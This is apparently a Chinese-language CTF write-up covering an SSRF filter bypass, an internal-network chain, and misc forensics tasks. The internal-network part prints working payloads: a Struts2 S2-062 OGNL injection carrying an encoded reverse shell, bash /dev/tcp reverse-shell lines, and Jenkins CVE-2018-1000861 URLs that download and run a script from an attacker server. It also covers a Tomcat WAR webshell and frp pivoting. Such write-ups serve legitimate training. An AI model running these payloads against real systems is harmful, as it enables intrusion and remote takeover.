Web

Web1

ssrf

过滤了常见的协议

image-20220515182327869

利用大小绕过就可以读取flag

image-20220515180445374

内网

内网1

image-20220515140143162

可以看到题目提示的非常明显,s2_062是个入口

image-20220515140301386

接着burp抓包,发送到Reeater,把get方法改为post方法

poc:

1
2
3
4
5
6
7
8
9
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xLjEuMS4xLzU0NTQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}'}))

执行命令反弹shell,命令经过base64编码处理并且对其url编码 或者直接Ctrl+U

(反弹命令->base64编码->URL编码 (burp 选中Ctrl+U))

1
bash -i >& /dev/tcp/127.0.0.1/54321 0>&1
image-20220515140518778

在vps上监听端口,之后burp上点击send发送

image-20220515140819497

可以看到vps上已经收到了请求

image-20220515140912997

find命令查找下flag

1
find / -name *flag*
image-20220515141011791

根据内网提示

image-20220515141120052

查看ip

image-20220515135517105

确实是有内网的,直接上传个fscan,给它来个大保健

在vps上用python开个http的服务,用wget把fscan下载到机子上

image-20220515141308874

image-20220515135343400

给个执行权限

image-20220515135435245

直接运行开始内网大保健

image-20220515141511495

接着使用frp代理进内网

image-20220515152006565

把frp的客户端和配置文件传到靶机上并执行

image-20220515151914701

可以看到连接成功了

image-20220515151958334

在浏览器上配置代理

image-20220515152338593

配置好后可以看到直接代理进了内网

image-20220515154330441

内网2

image-20220515152809442

根据上面fscan的结果,可以使用弱口令tomcat tomcat直接登陆

image-20220515152723148

这里可以通过部署war包来getshell

生成war包

image-20220515153513391

上传war包,点击部署

image-20220515153709622

部署完后可以看到已经有了

image-20220515153616893

冰蝎设置代理

image-20220515153927128

连接webshell成功获取flag

image-20220515153959847

内网3

image-20220515141957589

根据fscan的结果,是存在jenkins-cve-2018-1000861-rce的漏洞的

或者直接看这个版本也可以确定

image-20220515154947661

由于此漏洞是没有回显的,所以我们这里直接反弹shell:

先在我们的服务器上放一个文本,内容为反弹shell的命令:

1
echo "bash -i >& /dev/tcp/vps地址/54323 0>&1" > cmd

image-20220515163443596

然后我们替换POC中执行命令的部分为下载文件的命令:

1
curl -o /tmp/1.sh http://vps地址:8001/cmd

替换后的poc:

1
http://10.10.10.3:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://vps地址:8001/cmd%22.execute()}}

然后在我们接收shell的机器上监听之前写的端口:

1
nc -lvnp 54323

直接bash执行我们下载的脚本:

1
bash /tmp/1.sh

替换后的poc:

1
http://10.10.10.3:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

分别执行完两个poc后,可以看到vps上收到了弹回来的shell会话

image-20220515164042590

find查找flag

1
find / -name *flag*

image-20220515164214719

Misc

morse

下载音频,听起来感觉是摩斯电码

使用audacity软件打开音频放大后可以看到

image-20220515181041249

短的为 . 长的为- 得到

image-20220515181139549

使用网站解密

img

数字类似于ascii码,使用python脚本进行解码

img

img

数据传输

wireshark打开粗略浏览了一下,看到了个ftp传的压缩包

image-20220515181532414

追踪一下tcp流

image-20220515181604981

用 foremost 把压缩包分离出来

image-20220515181640311

解压发现要密码,流量包翻了一圈也没看到,最后直接爆破出来了

image-20220515181336339